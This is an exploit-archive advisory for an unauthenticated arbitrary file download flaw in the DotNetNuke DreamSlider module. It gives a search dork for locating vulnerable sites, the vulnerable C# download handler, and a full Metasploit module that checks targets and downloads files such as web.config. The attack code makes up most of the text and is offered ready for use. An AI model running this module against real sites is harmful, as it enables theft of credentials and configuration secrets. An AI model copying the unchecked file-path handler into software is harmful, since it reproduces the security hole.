DotNetNuke DreamSlider 01.01.02 Arbitrary File Download

2017.12.28
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-200

# Exploit Title: DotNetNuke DreamSlider Arbitrary File Download # Date: 23/01/2014 # Author: Glafkos Charalambous # Version: 01.01.02 # Vendor: DreamSlider # Vendor URL: http://www.dreamslider.com/ # Google Dork: inurl:/DesktopModules/DreamSlider/ # CVE: # # Description # DotNetNuke DreamSlider Module prior to version X suffer from a remote unauthenticated arbitrary file download vulnerability # # Vulnerable Code # # namespace DotNetNuke.Modules.DreamSlider # { # using System; # using System.IO; # using System.Web.SessionState; # using System.Web.UI; # # public class DownloadProvider : Page, IRequiresSessionState # { # protected void Page_Load(object sender, EventArgs e) # { # if (!base.IsPostBack && (base.Request.QueryString["File"] != null)) # { # string path = base.Request.QueryString["File"]; # string fileName = Path.GetFileName(path); # base.Response.ContentType = "application/octet-stream"; # base.Response.AddHeader("Content-Disposition", "attachment; filename=" + fileName); # base.Response.WriteFile(path); # base.Response.End(); # } # } # } # } ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary Rank = ExcellentRanking include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'DotNetNuke DreamSlider Arbitrary File Download', 'Description' => %q{ This module exploits an unauthenticated arbitrary file download vulnerability in DNN DreamSlider version 01.01.02 and below. }, 'Author' => [ 'Glafkos Charalambous', # Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://metasploit.com' ] ], 'DisclosureDate' => 'Mar 23 2015')) register_options( [ Opt::RPORT(80), OptString.new('FILENAME', [true, 'File to download', '~/web.config']), OptString.new('PATH', [true, 'Path of DNN Nuke', '/']), ], self.class) end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['PATH'],"/DesktopModules/DreamSlider/DownloadProvider.aspx"), 'cookie' => datastore['Cookie'], }) if res && res.code == 200 and res.body.to_s =~ /Download Provider/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end Exploit::CheckCode::Safe end end def run begin print_status("#{peer} - Downloading file #{datastore['FILENAME']}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['PATH'],"/DesktopModules/DreamSlider/DownloadProvider.aspx?File=") + datastore['FILENAME'], 'cookie' => datastore['Cookie'], }) rescue Rex::ConnectionError print_error("#{peer} - Could not connect.") return end if res && res.code == 200 if res.body.to_s.bytesize == 0 print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.") return end fileName = datastore['FILENAME'] path = store_loot( 'ds.http', 'application/octet-stream', datastore['RHOST'], res.body, fileName ) print_good("#{peer} - File saved in: #{path}") else print_error("#{peer} - Failed to download file.") end end end


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